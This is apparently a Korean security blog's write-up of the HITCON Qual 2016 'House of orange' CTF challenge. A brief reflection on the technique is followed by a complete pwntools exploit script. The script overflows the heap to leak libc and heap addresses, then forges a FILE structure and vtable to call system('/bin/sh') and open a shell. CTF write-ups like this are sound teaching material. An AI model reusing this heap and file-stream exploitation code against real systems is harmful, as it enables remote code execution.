Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

HITCON Qual 2016 House of orange 본문

Security/Pwnable

HITCON Qual 2016 House of orange

Cdor1 2017. 1. 10. 20:12

후기 : 짱어렵다.. file pointer를 덮어써서 malloc 커럽션날때 불러오는 구조체를 overwrite해서 공격하는 것도 그렇고

free가 없어서 top chunk의 크기를 overwrite한 뒤 이를 연계해 sysmalloc이 old_top을 free하는 방법으로 libc와 heap address를 leak해내는 것도 있었다.

점점 내가 생각했던 레벨보다 점점 더 로우레벨단에서 익스플로잇이 진행되는 것 같다... free가 없으면 만들어서 공격하고...

이렇게 file pointer를 건들여서 쉘을 얻는 방법을 File Stream Oriented Programming이라 하는데 

pie와 full relro가 걸려있는 프로그램에서는 이 기법을 많이 사용하는 것 같으니 이 방법에 대해서도 많이 연구해 봐야겠다.

(마지막 file pointer 덮는 payload 부분은 문제 출제자의 write-up을 참고했다)


from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/houseoforange')

def build(length, name, price, color):
	print s.recvuntil('Your choice : ')
	s.sendline('1')
	print s.recvuntil('Length of name :')
	s.sendline(str(length))
	print s.recvuntil('Name :')
	s.sendline(name)
	print s.recvuntil('Price of Orange:')	
	s.sendline(str(price))
	print s.recvuntil('Color of Orange:')
	s.sendline(str(color))

def see():
	print s.recvuntil('Your choice : ')
	s.sendline('2')

def upgrade(length, name, price, color):
	print s.recvuntil('Your choice : ')
	s.sendline('3')
	print s.recvuntil('Length of name :')
	s.sendline(str(length))
	print s.recvuntil('Name:')
	s.sendline(name)
	print s.recvuntil('Price of Orange: ')	
	s.sendline(str(price))
	print s.recvuntil('Color of Orange: ')
	s.sendline(str(color))

build(0x80, 'AAAA', 100, 2)
fake_top = 'A'*0xA8
fake_top += p64(0xf31)
upgrade(0xb1, fake_top, 100, 2)
build(0x1000, 'AAAA', 100, 2)
build(0x400, 'A'*8, 100, 2)

see()
print s.recvuntil('A'*8)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3bed0a
list_all = libc_base + 0x3c4520
system = libc_base + 0x45390
log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('list_all : ' + hex(list_all))
log.info('system : ' + hex(system))

upgrade(0x400, 'A'*16, 100, 2)
see()
print s.recvuntil('A'*16)
heap = u64(s.recv(6).ljust(8,'\x00')) - 0x10a
vtable = heap + 0x728 - 0xd0
log.info('heap : ' + hex(heap))
log.info('vtable : ' + hex(vtable))

payload = 'A'*0x410
payload += p32(0xdada) + p32(0x20)
payload += p64(0)

fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0xddaa)
fake_file += p64(list_all - 0x10)
fake_file += fake_file.ljust(0xa0,'\x00')
fake_file += p64(heap + 0x700 - 0xd0)
fake_file += fake_file.ljust(0xc0, '\x00')
fake_file += p64(1)

payload += fake_file
payload += p64(0) * 2
payload += p64(vtable)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0) * 3
payload += p64(system)
upgrade(0x800, payload, 123, 2)
print s.recvuntil('Your choice : ')
s.sendline('1')
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

Plaid CTF 2015 prodmanager  (0) 2017.01.11
H3X0R CTF train to busan  (0) 2017.01.11
RCTF 2015 shaxian  (0) 2017.01.10
Christmas CTF Who is solo  (0) 2017.01.09
Belluminar 2016 remuheap  (0) 2017.01.08
Comments